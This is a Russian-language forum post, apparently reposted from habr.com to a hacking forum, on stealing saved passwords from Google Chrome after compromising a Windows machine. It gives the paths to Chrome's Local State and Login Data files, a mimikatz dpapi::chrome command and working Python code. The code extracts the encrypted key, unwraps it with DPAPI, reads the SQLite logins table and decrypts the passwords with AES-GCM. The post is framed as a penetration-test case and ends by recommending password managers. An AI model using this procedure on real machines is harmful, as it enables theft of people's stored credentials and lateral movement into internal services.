• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Закрепились в системе? Давайте копаться в браузере

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Приветствую, форумчане!

Данная тема будет интересна тем, кто сохраняет учетные записи в браузере. Сначала ответим на вопрос, который возникнул в предыдущей статье, а именно: Ради чего этот пароль искать OSPF, что бы что? И что дальше то с этим делать?

Напоминаю, что пароли это один из важнейших аспектов ИБ и часто используются для защиты информации от несанкционированного доступа. В OSPF парольная аутентификация — это мера безопасности, которую можно использовать для защиты маршрутной информации OSPF от изменения или подделки.

То есть имея пароль, злоумышленник может легко подключиться к домену маршрутизации и вносить изменения. При этом, одной из основных причин использования аутентификации OSPF является предотвращение формирования окружения OSPF неавторизованными устройствами, что, в свою очередь, запрещает доступ к сети и манипулирование ей.

При защитите домена маршрутизации с помощью аутентификации, нужно убедиться, что используемые вами пароли достаточно надежны, а не такие стандартные пароли как в ctf 😃.

Подключение к  домену OSPF

Подключение к домену OSPF

Итак — начнем!​

Многие из нас имеют такую привычку сохранять в браузере свои учетные записи для того, чтобы каждый раз их не вводить при аутентификации. Идея, конечно, хорошая, но иногда эта привычка идет против внутренней политики безопасности определенных компаний и имеет неприятные последствия. Однако, несмотря на ограничения, сотрудники продолжают это делать, ведь никто не проверяет их рабочие ПК до тех пор, пока в компании не провидится аудит безопасности. Статья, которую читаете основана на реальном кейсе.

Расскажу быстро историю. Друг меня пригласил принять участие в анализе защищенности, где в процессе работы нам удалось закрепиться в системе. Далее пришла такая идея - проверить какие внутренние сервисы есть в компании; и мы решили прошерстить браузеры сотрудников (в договоре был пунктик, который нужно было выполнить).

В качестве браузера для данной статьи используется «google chrome», предполагаем, что мы прошли/или находимся на этапе «Post-exploitation» (т.е. оставили имплант и наша целевая система под контролем), а теперь посмотрим на файлы, которым стоит уделить особое внимание в «google chrome»:
  • Local State : Json файл, который содержит криптографический алгоритм и ключ шифрования (["encrypted_key"]) для ОС. (см. Рис).
    Код:
    Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Login Data\Local State"

  • ключ шифрования

    ключ шифрования
    Этот ключ используется для шифрования/расшифрования паролей. Важно отметить, что хром использует Симметричный алгоритм шифрование AES. Основное, что нужно знать в AES - это длина ключей, количество раундов при шифровании/расшифровании и режимы.
    • Login data : в этом файле бинарные данные и SQLite скрипт для создания таблиц БД. Зашифрованный пароль хранится в базе данных SQLite. Нас больше интересует таблица «logins»
    • Код:
      Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
    Файл  Login data

    Файл Login data
    Для расшифрования файла login data есть разные инструменты:
    • mimikatz – удобный инструмент для пентеста в AD.
      При наличие masterКey (sekurlsa::dpapi) можно просто:
      dpapi::chrome /in:"c:\<путь до Login data>Login Data" /unprotect /masterkey: <hash>
    • Lazagne - хороший инструмент для восстановления паролей (https://github.com/AlessandroZ/LaZagne)
    • Script на «python» и на «Golang» (Github code source)
      Script на «Golang» - потому, что можно скомпилировать под разные платформы.
    • Эти скрипты имеют три основные функции:

    1– Получение приватного ключа (secretKey из Local State)
    Код:
    CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE']))
    with open( CHROME_PATH+"\Local State", "r", encoding='utf-8') as f:
      localState = f.read()       
    localState = json.loads(localState)       
    secretKey = base64.b64decode(localState["os_crypt"]["encrypted_key"])
    #2- Удаляем суффикс DPAPI 
    secretKey = secretKey[5:]       
    secretKey = win32crypt.CryptUnprotectData(secretKey, None, None, None, 0)[1]
  • 2 – Получение данных из ДБ SQLite (Tаблица «logins»)
    Код:
    chrome_path_loginDB = CHROME_PATH + " \Login Data"
    shutil.copy2(chrome_path_loginDB, "Logindata.db")
    #Подключение к базе данных sqlite
    conn =  sqlite3.connect("Logindata.db")
    cursor = conn.cursor()
    #Select data in table logins
    cursor.execute("SELECT action_url, username_value, password_value FROM logins")
    for _,login in enumerate(cursor.fetchall()):
        url = login[0]
        username = login[1]
        cipherText= login[2]

    3 – Расшифровка cipherText

    Чтобы повысить безопасность, добавляется к паролю вектор инициализации (случайная строка данных), что усложнит взлом пароля злоумышленнику (это то же самое, когда добавляем соль чтобы модифицировать входа хэш-функции).

    cipherText = вектор инициализации (случайная строка данных) + зашифрованый пароль.
    Код:
    cipherText = b'v10\xf2M\x17S\x17WX\x8a^\x8fQ\x11\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?\xc3\xbf\xcb\x17\xd1#J\xdcV?_o\xf2\x05B\x0c'
    
    initialisation_value:  b'\xf2M\x17S\x17WX\x8a^\x8fQ\x11'
    encrypted_password:  b'\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?'
    
    вектор инициализации = initialisation_value = cipherText[3:15]   
    зашифрованый пароль = encrypted_password = cipherText[15:-16]
    
    cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_value)   
    decrypted_pass = cipher.decrypt(encrypted_password)
    decrypted_pass = decrypted_pass.decode()
    Данные из браузера «google chrome»

    Данные из браузера «google chrome»

Вывод​

Эти данные в браузере помогают злоумышленнику быстро ознакомиться с внутренними сервисами и двигаться дальше.

«google chrome» это только браузер, а не менеджер паролей. Для хранения лучше всего подойдут уже существующие решения - keepass 3.x, passbolt и др.

Спасибо за внимание !

автор prizrakjm
источник habr.com
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх